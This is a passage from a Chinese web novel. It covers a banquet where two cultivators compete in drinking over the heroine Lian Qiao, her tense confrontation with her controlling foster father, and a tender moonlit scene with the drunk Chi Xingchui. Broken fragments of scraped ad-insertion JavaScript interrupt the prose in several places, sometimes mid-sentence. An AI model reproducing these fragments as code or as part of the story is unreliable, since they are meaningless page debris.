“哇。”白花惊伸手揽住其中一个,是游鱼状的天灯,上面写着“祝连乔得偿所愿一往无前。” “这是连乔的,那里还有我的。”白花惊伸手又捞到一个五瓣花形状的天灯,上面只有三个字,白花惊。 “啊,每个人都有啊,可是我的怎么没写其他的字呀。”白花惊望着远处的灯笼,她举着灯笼,“这也是吴兴准备的吗?” 童元宝摸摸头,“应该……是吧?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “不是啊,这不是吴兴的字啊。”白花惊探出头,看到楼下的人,她笑起来,朝迟星垂挥手,“迟师兄。” 迟星垂也向他们招手。 “师兄也来了,我们可以起菜啦。”白花惊等了很久,她不会喝酒,童元宝特意给她点了果浆,她点名了要橘子味的。 “小白花喝果浆,其他人喝玉琼酿吧,我本是想点百花酿的,可惜来晚了,熹微楼说百花酿已经没有了。”童元宝道,“实在太可惜了。” 连乔:“没有了?” “百花酿每日只有一百盅,说是今日已经卖完了。”童元宝道,“近日百花酿十分出名,据说入口有百花之香,不知道真假。” 邵吴兴跟在迟星垂身后,“师兄,今日你怎么来了?” 迟星垂迎着台阶往上走,“我不可以来吗?” 邵吴兴望着他,不怎么快乐,“你以前不喜欢参加这种宴席的。” 他越想越觉得奇怪,迟星垂素日里深入简出不喜欢掺和这些热闹,这一次居然主动和童元宝说他要来,真是稀奇。 而且他还为连乔点了祈愿的花灯…… 邵吴兴心中越来越不安,他快步走到迟星垂身后,“师兄,你有点不对劲。” 迟星垂顿步,“什么不对劲?” 邵吴兴想起不久前去桐花岭历练,迟星垂也是突然告知他,门内需要有人把守,这次他要找连乔告白,他又过来横生枝节。 邵吴兴不得不多想了,“师兄!” 怪不得呢,怪不得最近一遇到连乔的事总是那么多阻挠,他本来还以为是巧合,现在来看,就是迟星垂故意针对他。 他忍不住了,“师兄,你是不是故意的?” 迟星垂:“是啊。” 邵吴兴还以为迟星垂会委婉一下,没想到他这么直接,他索性也不藏着捏着了,“师兄,你是不是也喜欢连乔?” 迟星垂点头,“对。” “你怎么能喜欢连乔呢?”邵吴兴拍拍自己,“你明明知道我喜欢连乔,你还要跟我抢?” “谁要和你抢?” “你不和我抢,你不和我抢你三番五次阻止我对她表露心迹?” “你要表露内心,就代表她会同意?”迟星垂问道,“你知道连乔喜欢什么样的人么?” 她喜欢什么样的人? 邵吴兴望着迟星垂的背影,今日他换了一身月白色束腰广袖长袍,举手投足异常有风度,翩翩兮如玉公子,温润精妙世无双。 平日里师兄大概也是这副装扮,但是今日格外细致,连长衣的袖口都有金色的暗纹,长发束起,看着随意,实际上也是刻意的随意。 连乔喜欢这样的? 再转眼,邵吴兴也换了同样的白衣温润装扮,但是他个子高身体壮,平日里粗犷装扮多了,束手束脚的衣服穿上去格外滑稽,刚走一步,就在台阶上跌一跤。 他立刻爬起来,快步走到迟星垂前面,“师兄,我虽然打不过你,但是在这件事上,我是不会认输的。” 迟星垂走得很快,邵吴兴伸手拉扯他,两个人谁也不让谁,一直来到宴会。 83.第 83 章 门被打开,童元宝嘴角抽搐,“邵吴兴你疯了?” 邵吴兴一袭白衣,端着身体,缓步走到座位上,再微微点头,向连乔问好。 连乔:“……” 白花惊伸过头,压住声音,“吴兴今天是不是不太对啊?” 邵吴兴的目光扫过来,原本是直白且直接的,现在变成了含情脉脉,白花惊一个哆嗦。 童元宝推他,“邵吴兴你怎么了,你是不是中邪了?” 邵吴兴横眉冷对,“你少废话。” 童元宝舒了口气,这下看上去正常多了,哪知道邵吴兴又坐正了,扭扭捏捏倒了一杯酒,“连乔,这次你回来突破了多级,入剑宗指日可待,来,我敬你一杯。” “谢谢。”连乔举起杯子,“也谢谢你的烟花。” 童元宝赶紧使眼色,邵吴兴站起来,古铜色的皮肤犯上一层红晕,像是涂了胭脂,“连乔,那你喜欢这烟花吗?” “嗯,喜欢,花灯也很喜欢。”连乔喝完杯中的酒,“有劳你们这么费心啦。” 连乔转过来给迟星垂敬酒,“也多谢迟师兄费心。” 迟星垂微微一笑,熹微楼灯光柔和温润,像是在他身边笼上一层光晕,他长相极为精致漂亮,恍若月中仙子,看似清冷胜月光,又温和近人,不动声色望着人的时候,连乔感觉自己的心漏跳了一拍。 迟星垂破天荒举起酒杯,但是只浅尝一口。 自墨江回来后,迟星垂和她就断了联系,连乔知道对方停了抑制重心蛊的药物,也一直试图去想迟星垂为什么会这样做。 或许是,想监视自己。 那么监视自己的动机呢? 在原书中,连翘被云招摇传播谣言气得不轻,跑去找迟来风告白,迟来风对她爱答不理,导致她气急败坏一时间走火入魔,看到了落单的迟星垂,便指使瞳耀等人将迟星垂掳走。 之后就是她第一次和迟星垂见面了。 除此之外,连翘和迟星垂没有任何交集。 他为什么要监视自己? 书中说迟星垂最后莫名坠魔,但是在招魂幡原主的心境中看到的那个人,只是和迟星垂长着一模一样的脸,气质和行为都完全不同。 虽然坠魔会导致人心性大变,但是连乔还是觉得蹊跷。 那个人到底是不是迟星垂? 她一直在留意迟星垂坠魔,迟星垂也一直在留意自己,是不是迟星垂也知道原书后续走向? 她有系统,迟星垂是不是也是穿书玩家,身上有没有也背一个系统之类的外挂。 自从连乔连升多阶,系统稳定多了,可以随时召唤出来。 面对连乔的疑问,系统很坚定地回答连乔,“没有。” “你确定没有?”连乔问,“会不会是你的等级不够高,所以更高阶的系统检测不出来?” “不会的宿主,我们公司是有扫射装置的,如果遇到同行,扫射装置会有警报。”系统慢吞吞地,“目前我没有听到警报。” “我怎么觉得你在一本正经胡说八道?” “怎么会呢宿主,我跟你是一条绳上的蚂蚱,我永远为你服务站在你这边,我骗你有什么好处呢?” “你知道的。”它懒洋洋地,“我虽然经常性靠不住,但是我从不撒谎。” 连乔:“你对自己定位真准。” 既然迟星垂不存在系统,那么必然也有别的原因,让他知晓原书发展走向,所以他才一直盯着她。 他为什么会知道,难道是重生? 对了!从一开始迟星垂就想杀了她,必然是他带有前世记忆,所以才对她怨恨极深,她一穿过来就妄图置她于死地。 想到这里,连乔不禁牙齿打颤。如果迟星垂是重生,那么这一路上,他都在防着她,在观察她,而她在饰演女主时没有ooc,但是和前世的处事方式与选择完全不同……就算她饰演得再像,迟星垂应该也发现了异常吧? 再看今日,迟星垂居然如此轻快就答应赴宴,居然还破天荒地喝了酒,他这样笑眯眯地看着自己,这样虚假的笑,是想告诉她,他已经知晓所有,一切胜券在握了吗? 邵吴兴今日格外奇怪,他一会儿高兴,一会儿凝重,看他脸色一会儿黑一会儿白的,连乔以为他生病了,“吴兴,你不舒服吗?” 邵吴兴原本情绪就有点紧张,听到连乔的声音,更加紧张了,他抬起头,声音微有结巴,“有、有点。” “哪里不舒服,我找人送点药过来吧?” 邵吴兴的脸上又泛起一层红晕,“你、你这是在关心我吗?” 连乔:“啊?” 她不明所以,“当然啦,你们都这么帮我,我也应该知恩图报。” 邵吴兴心里七上八下,他纠结无比,最后咬紧牙关,猛地一拍桌子。 算了,豁出去了。 连乔被他吓了一跳。 话没问完,邵吴兴猛地倒一碗酒,“连乔,我和你说真心话,我非常喜欢你这个人,第一次见你看你不卑不亢地逼梅承襄脱裤子,我就觉得你很不一般,这碗酒我敬你。” 连乔:“啊?” 童元宝的下巴都要惊掉下来,他伸手一把拦住邵吴兴,“你在干什么?!” 邵吴兴正上头,他反过来一把推开童元宝,将那一碗酒递得更近一点,“连乔,我敬你一碗,是兄弟你就干!” 连乔一头雾水,迟星垂安静无声地望着她,凌阿正在憋笑,童元宝则是一脸恨铁不成钢。 连乔迟疑着没接,邵吴兴有点急,“连乔,我是真心的,你要是不喝,就不把我当兄弟。” 凌阿:“噗……” 童元宝捂着脸,“完了,一切都完了。” 连乔接过那碗酒,正要喝,迟星垂伸手接过来,“我来吧。” 他抬头喝完一整碗酒。 邵吴兴站起来,但是因为衣袍太长,一不小心踩了一脚,“砰”一声坐下来,他将衣袍往后一摆,“师兄,你不能这样!” “我把你当兄弟。”迟星垂将碗放下,“我陪你喝。” “你非得这样?” 邵吴兴气急了,他今天必须给迟星垂放倒,不然他在这里要一直坏事。 邵吴兴拿了两个海碗,往里哐哐倒酒,两人一碗接着一碗喝。 童元宝看着推杯换盏的二人,“吴兴酒量好是真的,师兄……应该也没事吧?” 什么没事,迟星垂压根就没喝过酒,连乔伸手挡住继续给迟星垂灌酒的邵吴兴,“要不你们缓缓?” 邵吴兴:“不行!” 邵吴兴喝得面红耳赤,迟星垂则是越喝脸越白,眼眶又有点红,一看就是喝多了。 连乔:“迟星垂你还好吗?” “迟星垂?” “连乔你不要拦他,我今天必须把他喝趴下!”邵吴兴喝得大舌头,“要不然师兄会一而再再而三坏我好事的。” 迟星垂对连乔摇摇头,笑容温和,“我没事。” 邵吴兴:“喝!” 连乔:“别喝了。” “不然你来喝?”邵吴兴将酒碗往连乔面前一推,“你替他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 喝完这一坛,我就放过他。” 童元宝大惊失色,“邵吴兴你在干什么?!” 他根本拦不住这大傻个犯傻,“吴兴,别喝了。” 连乔端起碗,没等她喝,迟星垂接过去一饮而尽。 邵吴兴:“再来。” 看着喝得瘫在椅子上的邵吴兴和趴在桌子上的迟星垂,童元宝一拍额头,“完了。” 凌阿补充,“是彻底完了。” “我辛辛苦苦策划的酒宴诉心事,就这样付之东流了?”童元宝心中悲恸,但是看到喝多了倒头就睡的邵吴兴,悲恸又变成悲愤。 连乔道:“吴兴喝多了,开个房间让他休息一下吧。” 她叫来店小二,让他准备两个房间,迟星垂喝得也不少,不过他一直安静坐着,看上去没邵吴兴严重。 童元宝扶着邵吴兴离开的时候,邵吴兴还在挣扎,“还没喝完呢,连乔说她也要喝,听说她酒量特别好,真有个性,太特别了!” 童元宝捂住他的嘴,对连乔笑笑。 白花惊喝着橘子汁瑟瑟发抖,“要是喝酒后会这样,我觉得我这辈子都要滴酒不沾。” 迟星垂喝得也不少,这是连乔第一次见他喝酒,没想到酒量这么好。 他也需要休息,凌阿伸手要去扶,被迟星垂一个眼刀逼回去。 他揉揉太阳穴,“别碰我。” 随后他一个人坐在一边,安安静静不说话,像一只乖巧的小猫。 “你们自便,我坐这里休息会儿。” “……也行。” 童元宝安顿完邵吴兴回来,他越想越怄,简直恨铁不成钢,等看到桌上的酒全喝完了,更是气得心梗,“这么多酒都被他霍霍完了,我们喝什么?” “贵客,这是你们的百花酿。” 门被扣响,小厮送上来几壶香浓佳酿,摆好后恭敬退下。 童元宝叫住他,“不是说今日已经卖完了吗?”熹微楼有规矩,卖完不再售,加价也没有,童元宝稍来晚一点,出十倍的价格也买不到一小壶。 小厮道,“这是专留给楼主的。” “什么楼主?”童元宝道,“熹微楼的楼主吗?” 小厮点点头,笑着退下了。童元宝这才后知后觉,他望向连乔,震惊得无法言表,“你不要告诉我,熹微楼也是你家的。” 连乔:“对啊。” 童元宝长大了嘴巴,“连乔,我只听说你有子午谷,不知道云来城中一般的产业都归于你名下,你还真是……低调啊。” “也不是低调。”连乔道,“子午谷是我养父留给我的,云来城中的借酒楼等一众产业是我母亲的,我自幼在子午谷长大,不怎么外出,连我自己也是第一次来云来城。” 童元宝:“子午谷凄山苦水,你怎么能忍受在那里待那么多年?” 连乔托着腮,“大概是,我一直看养父的脸色过活。” 她也考虑过这个问题,还旁敲侧击问过南道。为什么云来城这么大,她却从来都没出来过,始终藏身于子午谷。 她当时说的是,早知道我早一点来就好了,子午谷那么无聊。 南道却道,“就算你知道也没用,老谷主不喜欢你出去,他想让你收收心,克己复礼,你要是早点看到这花花世界,不知道要飘到哪里去。” 南道不知道那位老谷主的手段,连乔却是见识过了。 他像是故意困住连翘,束缚她,捆锁她,却又美名其曰帮助她,为她好。 连乔陷入沉思,迟星垂则是抬起头,静静地望着她。 84.第 84 章 说到子午谷谷主,童元宝倒是听说过一点他的传说。玉非缘这个人来历不明,有人说是妖族,也有人说是人修,为人异常低调,虽然是子午谷谷主,但也早早退位。 “不过低调归低调,玉谷主名气却不小。”童元宝道。 连乔:“名气?” “对啊。”童元宝道,“是玉树榜第一啊。” 他望着连乔一脸茫然的模样,“你不会不知道吧?” 连乔点头,“我不知道。” “不过你不知道也正常。”童元宝道,“你一直久居子午谷,又不喜出门,朋友还少,修真界各类榜你当然是不知道的。” 连乔问:“玉树榜是排什么的?” “玉树榜嘛,顾名思义,排男子魅力,里面分自然榜以及综合榜。” “怎么说?” “自然榜么,自然就是大家自发而投的票呢,这种的,往往都是孰美孰自然票高,不可买不可转,是什么样就是什么样,凭眼睛决定结果。”童元宝晃着脑袋一笑,“而综合榜嘛,不仅和模样长相有关,还和自身实力如武力、财富有关,你知道的,实力也是魅力的一种体现。” “类似的,也有排女子容颜的,如窈窈榜,花容榜,还有排武力值的,最有代表性的,便是乾元剑宗八大弟子榜。” 连乔:“那玉谷主的排名呢?” 童元宝道,“嗯,玉谷主霸玉树自然榜第一很多年了,在综合榜也是前三。” “这么厉害?” 连乔心想,修真界最不缺的便是俊男美女,这玉非缘得多好看,才能在自然榜上霸榜多年。 真想看看那位便宜爹。 系统忽然问:“你想看?” 连乔:“能看?” 一张精致的男子脸浮现在连乔脑海中,连乔“嗯”了一声,“长这样?” “不好看吗?” “好看是好看……”连乔回答得有些牵强。 怎么说呢,男人模样看上去很年轻,和迟星垂差不多大,眉眼、鼻梁、嘴、脸型都非常精致,仿若由玉石雕刻,全都恰到好处。他的头发也一丝不苟地编好,垂在身后,整个人有种精雕细琢的美。 不过他像是没休息好,脸色不是很好看,但是涂了粉,嘴上也有朱红,中和了他的气色。 “不好看就直说。”系统道,“你有时候很虚伪。” “好看啊。”连乔道,“只是很奇怪,他的长相就像是……就是太好看了,把所有的好看堆在一起,好看得太假了。” 系统:“什么鬼形容?” “你知道那些刻意追求完美而整容过度的吗?”连乔回想上一世一些人工脸,“他给我的就是这种感觉,用力过猛。” 大概是她混迹娱乐圈,见过的整容脸太多,所以更欣赏原生态和自然。 童元宝道:“据说这位谷主不仅长相俊美,修为还很高,剑术更是一流,连乔你跟着学过吗?” 连乔:“没有。” “你为什么不学?” “很早以前,老谷主说我剑术上没天赋,脾性太暴躁,让我先修心。”连乔道,“他说修心才能修剑,否则会走火入魔。” “你还没有天赋啊?”童元宝又补充道,“不过你暴躁是真的。” “闭嘴。” 童元宝了然,手指一指,“你看你看。” 几个人喝得正高兴,门被敲响。是南道。 南道脸色不太好,他推开门,快步走过来,低声在连乔耳边道,“好了,别喝了。” “你怎么过来了?” 南道夺下连乔手中的杯子,拽着她起来,看她喝完酒脸色微有红晕又使劲给她扇风,妄图把她身上的气味扇散一些,“姑奶奶,你这一身酒气,给老谷主看到了他又要骂你了。” “你快去洗漱一下,换身衣服。”说完他拉着连乔出门,临了不忘帮连乔向大伙请罪,“实在不好意思,我们连乔有急事要先走,这次酒我们请了算是赔罪,你们下次再聚。” 连乔被南道拉到外面,冷风一吹,酒醒了一半。她脸色不悦,“干什么?” “走了姑奶奶,找你找好久了。”南道道,“老谷主白日里就来了,我们找不到你,他就一直在等,已经等了你几个时辰了。” 连乔笑了,“他等我便要要见他吗,没有这个理吧?” 连乔推开南道的手,“你回去跟老谷主说,让他先休息,我今晚有别的重要的事。” 南道顿了一下,“你真的不去见他?” “南道。”连乔头很痛,“老谷主来了便来了,他总不能是专为我来的云来城,就算是专为我而来,也可以提前同我说一声,让我预留出时间。” 这样不声不响过来,一句话就要将她召回去,就压根没有考虑她? 南道愣了一下,“可是你在喝酒……” “是他们在特意为我入宗大比准备的宴席,我怎么能缺席?”连乔揉揉眉头,“而且我已经大了,有自己的事,也有自己的空间,就算是在外面喝酒,那也没有毛病。” 南道道:“老谷主不喜你这样忤逆他。” “我也不喜欢他强制我做我不想做的事。” 连乔深深吸了一口气,她拍拍南道,“南道,老谷主年纪大了,不宜动怒,你好生安慰他,从子午谷过来舟车劳顿,你给他在借酒楼安排一间上房,让他好好休息,等我忙完了自然会回去找他。” “老谷主怎么会年纪大,他只是实际上年纪大,他看着年轻啊。”南道告诫她,“你可千万别在他面前说啊,老谷主也不喜欢别人说他年纪大。” 连乔要被气笑了,她一脚踹在南道腿上,“让你去就去,不去我就让你活不到年纪大!” 南道跳开,“行了行了,我去处理,不过你最好找好理由做好认错的态度,免得明天又惹他生气,你们俩又要吵架。” “知道了,快去吧。” 喝完酒,快到天亮了,大家东倒西歪,各自回了房间。 连乔出去透口气,灯火葳蕤,月光倾泻,凉风让人冷静。 等酒醒了,连乔从光影中站起来,准备回房休息。 “清醒了吗?” “谁?” 连乔转过身,望着阴影中的那人。那人长发束起,长衣飘飘,因为站在背光处,看不清他的脸,更看不清表情。 连乔颔首,“谷主。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “呵。”那人笑声促狭,“难为你还记得我。” 他走过来,细碎的光从树缝里漏出来,在地上打出大大小小的光影,也穿过他身上,一明一灭。 连乔在明灭的光影中看清了他的脸,和之前系统给她看到的一样,连妆容都像是永久的没有任何变化,但是脸色比之前更憔悴,眼睛里都是疲态。 这位老谷主不是早就放权给连翘了么,到底什么这么难为他如此疲惫。 老谷主来到连乔对面,他很高,挡在前面,将所有视野遮住,面前被一片黑暗所笼罩。 那股不适感又从心底深处迸发,慌张、不安、惶恐…… 连乔坐回去,“老谷主说笑了,您是子午谷主人,也是我名义上的父亲,我怎么会忘记您呢?” 玉非缘面上挂着笑,模样温和,但总让人喘不过气。 “这么多天不回去也没个口信,又让我等你这么久,到底有没有忘记,我想我应该清楚。” 连乔没有答话,她正在思考这玉非缘到底找自己做什么,忽然对面那人微微俯下身,靠着她的嘴轻轻嗅一口气,紧接着蹙眉,“你喝酒了?” 连乔很不适应这么近距离的接触,想到这人还是她养父,更是心理不适。她往后退一步,离玉非缘三步远。 “连翘。”玉非缘脸上的笑收住,但是声音仍旧是平和的,“我有没有同你说过,修行之路甚远,不应贪奢淫逸,忌沉溺禁私欲。” 他摇摇头,“尤其是喝酒,你知道的,我不喜欢你喝酒。” 连乔笑了一声,“那就喜欢我在子午谷醉生梦死荒淫无度了?” “谷主,我在子午谷这么多年,在做什么你应该知道吧,比喝酒玩乐严重的事我做得多了去了,您一直一来都睁一只眼闭一只眼,不过邀几位好友喝点酒而已,谷主也可以试着放手不去管问。” “连翘。”玉非缘声音冷冷,“你真是,越来越不像话了。” 连乔一顿,突然从胸腔中迸发出一种恐惧,这是上位者对下位者的天然压制,也是原主身体遗留下来的自然反应——貌似原主害怕这个人,且害怕很久了。 玉非缘再次走到连乔对面,他垂眼盯着连乔,光线再一次被他隔开,阴暗得让人窒息。 他声音仍旧是平静无波,听不出来情绪变动,仍旧温和,“你好像有点变了。” 连乔深呼吸两口气才稳定了状态,“是吗,谷主,不知道你觉得我哪里变了。”、 “我记得我同你说过,我不希望你特立独行,修行本就是顺应大道之势,你过于张扬,最后只会木秀于林。”玉非缘道,“但是你最近,好像有点忘却初心了?” 什么意思? 连乔反问:“初心?” “小翘,你体质平庸,资质也平平无奇,想要有所建树,便要敛住脾性,切勿骄躁傲慢。”玉非缘望向她的眼睛无声温和,又像是充满了失望无奈。 明明是关心的表情,却有种别样的压抑。 连乔害怕看到这个表情,或许说,是原主害怕看到这个表情。 “你看看你现在这样子。”玉非缘微微叹了一口气,声音几不可闻,“有将我的话听进去一点么?” 85.第 85 章 连乔气笑了,她头一次听到有人用为你好的语气,处处说着打压你贬低你的话,还说得这么处变不惊,活像是真心为你考虑一般。 连乔冷“嘁”一声,精雕玉琢的玉谷主终于不装了,他皱起眉,“连翘。” “你一直说我平平无奇资质平庸,不知道是因为你对我存在误解,还是对我有偏见?”连乔笑着摇摇头,“玉谷主,我可不普通,我觉得我很特别,你不用打压我,我也不是你界定的。” “你不喜欢我喝酒,不喜欢我张扬,我同样也不喜欢你对着我指手画脚,类似的话,以后不要再说了。” 玉非缘一顿。 连乔声音十分冷淡,不容置喙,她的骄傲和自信都写在脸上,目光有神,脊背笔直——实在是像极了那个人。 好像她本就应该是这样的,热烈的,自在的,张扬的,耀眼的…… 尽管他一直在将连翘往邪门歪道上引,但是不得不承认,连翘和那个人,还是越来越像。 这让他很不舒服。 连乔抱着胳膊坐在椅子上,将腿架得老高,光线熹微,她看不清玉非缘到底是什么表情什么脸色,但是按照连乔的猜测,他可能非常不高兴。 那连乔可就高兴了,憋屈了这么久,终于是舒畅了。 她伸直了腿,换了个更惬意的姿势靠在椅背上。 头顶灯光闪烁,在这一瞬间连乔看清了玉非缘的脸,他皱起眉,非常嫌恶她的动作,“你有没有同你说过,坐有坐相站有站相,万事依规矩行事?” 说完语气又温和下来,”阿翘,你母亲不在,我便要按照她的遗愿好好教育你。平心静气,温婉贤淑,你应该成为一个淑女该成为的样子。” “不用了。”连乔道,“我母亲希望我快乐成长,不会希望我成为成为套在套子里的人,如果是你的私心想让我这样,大可以直截了当地说是你的意思,不必拿母亲来压我。” 况且露不霜自己都非常自在随意的一个人,天生妖性,怎么可能要求她成为一个淑女? 一会儿又说她平庸,一会儿又让她成为淑女? 之前连乔看这位玉雕兄保养得当精致细腻,还以为是个会迂回的人,结果却来了这么多直男式指责。 简直让人败胃口。 玉非缘:“怎么会?” “阿翘,你又开始叛逆且不听话了。”玉非缘叹一口气,“我说过,我不喜欢你这样张扬且傲慢的态度,这与我这么多年教你的完全背道而驰。” “我不太清楚是不是这段时间你在冲虚学院遇到了什么人,是不是他们将你教坏了?” 玉非缘看着她,灯光一明一灭,他的脸也如此阴晴不定。 连乔一愣,“你想干什么?” “也不是第一次发生这种事了。”玉非缘道,“如果你还如此执迷不悟,我不介意之前的事再对你做一遍。” 连乔问系统:“你知道什么事吗?” 系统慢吞吞地,“嗯,之前你想进乾元剑宗,找了门路去外门先历练一番,看能不能找到进宗门的迂回之策,但是谷主不同意你离开子午谷,你们发生了剧烈的争吵,之后你一怒之下单方面和谷主断绝了关系。但是你走后门去剑宗外门的事情揭露,被万人所骂,事态严重,最后还是谷主出面平息此事。” “基本上,每一次你想离开子午谷,都会和他爆发争吵,之后你的后路都会被阻断,最后所有的烂摊子都会由老谷主替你收拾。” 之前南道说过,连翘会和老谷主争吵,是因为她想离开子午谷? 她想逃脱他的控制? 连乔没有说话,她陷入沉思。 玉非缘很喜欢连翘这样安静不说话的模样,在这样模糊的光影中,就更像露不霜。 她是像连云生,但她更像露不霜。 玉非缘很喜欢连翘像露不霜的一面,这样温柔,这样美好,让他觉得好像时间没有过去,又回到多年前,那时候一切尚未发生变故,他们拥有无数个这样寻常又美好的夜晚。 如果,如果没有发生那些事,如果夫人还在,又该是什么样的光景? “小霜。” 玉非缘忽然呵了一口气,他伸出手,轻抚在连乔头上。 连乔瞳孔骤缩,她下意识地抬手扫开玉非缘的手,内心又腾然生出熊熊热火一样的猛烈情绪,抗拒又反感,“你做什么?” 玉非缘垂眼,精雕玉琢的脸上没有任何表情。 他轻描淡写,“想起了一些事。” 这本是一个正常的举动,如果是连翘的父亲,那抚头大概是一种父慈子孝的场景,但是连乔知道,这不是。 他好像在透着她看另一个人。 他们之间,有种奇怪又微妙的关系。 连乔心绪不宁,自从见到这位名义上的父亲,属于这具身体的本能反应就越来越明显,她能感受到这其中的风起云涌。 压住心中的不适,连乔深呼吸一口气,“谷主,天色很晚了,看您也没有什么要紧事要找我,今日就先到这里,我找人安排您休息。” 她快步离开,没有回头。但是她知道,玉非缘在看自己。 那一双深不见底的眼睛,一直跟随在她身后,如芒在背如鲠在喉,让她觉得不适又反感。 一直走到灯火通明的地方,连乔扶住栏杆,大口大口呼吸。 她浑身颤抖,手心里全是冷汗,背也被濡湿,踉跄着走到楼间平台,晚风迎面吹来,带着湖上的暑气。 她沿着台阶往上走,看到台阶上坐着一个人,长衣垂在地上,微风抚在他的头发上,将他的衣角和长发都吹得轻轻摆动。 月光撒在他身边,他不说话,就像在他身上渡上一层银边。 “迟星垂?” 迟星垂无声望向她。远处昏黄的灯光混着月光,在他身边打出阴影,让他也跟着温柔起来。 “你怎么在这里?” 迟星垂揉了揉眉头,一阵风过来,连乔闻到淡淡的花香,他身上的酒还没有散。 原来是在这里醒酒。 连乔面色不善,“你听到多少了?” 迟星垂仰头望向半空,“宴席结束后,我一直在这里。” 那就是全部都听到了,连乔微微扬起下巴,“迟星垂,你知道得好像过于多了。” “嗯。”迟星垂往旁边挪了挪,“不多不少,大概和我以前就了解的差不多。” 连乔一顿,看到只留下一半的长长台阶,走过去坐下。 迟星垂坐在她身侧,月光和灯光穿过树叶的缝隙,将光泽笼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在两人周围。楼内歌舞升平,楼外灯火通明,云来城的夜色在这个角度,也能够尽收眼底。 “你是想告诉我这一切和你以前发生的一样?”连乔没想到迟星垂这么直接,“你不怕我知道些什么?” 迟星垂也不看她,“你也猜出来我知道些什么,不是么?” “是。”连乔毫不掩饰。 迟星垂没再说话,他蹙着眉,安静望向远处。 今日他莫名其妙的,和邵吴兴不知道起了什么冲突,让邵吴兴逮着他灌酒,他喝了不少酒,身体不怎么舒服,连乔也微有感受。 好在连乔发现,迟星垂目前没有坠魔,也没有杀她的意愿,至于系统所说的,解决所有潜在的危险和威胁,这个迟星垂不在其中。 那个黑衣迟星垂就不好说了。 迟星垂的眼圈很红,脸很白,但是脸颊处微微泛红,看完了远处,他又转过脸,转而看向连乔。 “怎么了?” 迟星垂伸手,手指轻轻拂过她的额发。 连乔顿了顿,“你做什么?” 吹了冷风的缘故,迟星垂的手有点凉,指尖穿过细碎的头发,蜻蜓点水一样,碰到她的额头。 随后他握住拳头,翻过来,再张开,里面是一小片海棠花瓣。 “头发脏了。”他眨眨眼睛,眼睛亮晶晶的。 连乔这才松了口气。 “只是花瓣而已。” 周围是一大片海棠,偷来梨蕊三分白,借得梅花一缕魂,明媚动人,楚楚有致,大片大片怒放,像暮色时分的的晚霞。 刚好是一阵晚风过花林,海棠花树随风飞扬,落下一大片纷飞的花瓣,像招摇的蝴蝶。 “我头发上也有。”迟星垂摸了一把自己的长发,将上面落上的两片海棠花瓣取下来,“是小虫子?” 可是晚风不停,花雨不止,迟星垂刚清理掉几片,又落了满身。 他拍了拍身上的花瓣,又望向连乔,“不行,你身上也有。” 他伸手,拂落连乔衣袖上的落花。 一低头,对上连乔仰着的望着他的目光。 迟星垂又笑了,“啊,你发髻上也有。” 他伸手,又开始挑落在她头上的花瓣,小心翼翼地取下来,等下一阵花雨落下的时候,抬起长袖,将花瓣挡下。 他的衣袍和他这个人一样,干净无尘,抬手间有檀木的冷香,混着从缝隙里落下的无香的海棠花瓣,飘飘摇摇。 “挡住了。”他说。 连乔指指他的袖子,“可是全落到了你身上哎。” “这里,这里,还有这里。”连乔又指着他的长发,“还有头发上,都有哦。” 迟星垂又眨了眨眼,他拂开身上的落花,但是头发上的不好摘去,喝了酒本来就晕乎,这时候更找不准,他索性不找了,抓起连乔的手放在自己右肩上,“连乔,你帮我。” 他低着头,光影斑驳,他的脸格外近,也格外清楚。 这么近距离地看,也仍旧挑不出毛病,漂亮得不像话。 连乔微微倒吸一口气。 今天的迟星垂不太一样,有点傻,有点执拗……还有种卸下一身傲慢的可爱。 如果他喝完酒一直是这样,下次她也想灌他酒了。 86.第 86 章 海棠花雨纷飞,迟星垂托腮望着花雨,“连乔,下雪了。” 连乔故意道,“不是哦,是小虫子。” 迟星垂摇头,“我不喜欢虫子。” 他起身,撑起一把伞,将伞罩在连乔头顶,“这样就好了。” 他背着光,落花就铺在他身后,伞遮住了一半视线,连乔只能看到迟星垂一半衣角。 他往下迈了一个台阶,蹲下来,抬头望着连乔。 连乔举着伞,“你把伞给我,你就没有了。” “嗯。”迟星垂点点头,“虫子很可怕,可是我只有一把伞。” 连乔顿了一下,笑道,“你这样说,我都觉得逗你是一种罪过。” 迟星垂的眼睛眨呀眨,亮亮的,像是装了星星,“为什么要逗我?” 连乔俯下身,离迟星垂更近了一步,她伸手想去捏迟星垂的脸,手停在半空又停了下来。 怎么办,她真的好吃这一套。 但是她不能放肆,迟星垂是喝多了才会这样,要是他醒了,知道自己对他做了不合适的事,又要装正经冷脸许久了。 连乔收回手。 迟星垂还在说,“你不要逗我。” 不管了,先薅了再说。连乔伸出双手,在迟星垂脸上捏了一下,迟星垂眯了一下眼,望着她发蒙,“你在做什么?” 连乔收回手,“做一些不好的事。” 迟星垂也伸出手,捧着她的脸,拇指用力轻轻捏一下,“这样吗?” 他喃喃自语,“原来这是不好的事啊。” 连乔被迟星垂捏住脸,声音有些含糊,“迟星垂,你知道你在做什么吗?” 迟星垂坏笑,“在做不好的事。” 连乔往回缩,脱离迟星垂的魔爪,“既然知道,就管住自己的手。” 迟星垂乖乖收回手,搭在膝盖上,闷闷不乐,“哦。” “来,迟师兄,看着我。”连乔掰着迟星垂的肩膀,让他望向自己,又伸出双手捧着他的脸,拇指轻轻戳他的脸,“这个动作很亲密,只有关系很好的人才可以做,你不能随便对别人做,尤其是女孩子。” “你也不行吗?” “嗯,我不行,我们俩还没到那个关系。” “哦,这样啊。”迟星垂若有所思,“那你可以对我做吗?” “我……当然也不可以。” “可是你刚刚对我做了。”迟星垂托着下巴,“你不是说不可以吗,那你为什么要这样做?” “我……咳咳,”连乔清了清嗓子,随便找一个理由,“因为我手欠。” “嗯。”迟星垂点头,若有所思,“你一直手很欠的。” “喂。”连乔瞪他,“你怎么这样啊?” 喝多了还这么毒舌,也不忘损她。 迟星垂抿着嘴笑,他抓住连乔的手,让她把手放在自己脸上,“可是没关系,我不怕你手欠。” 连乔:“……” “迟星垂。” 迟星垂仰头,“嗯。” 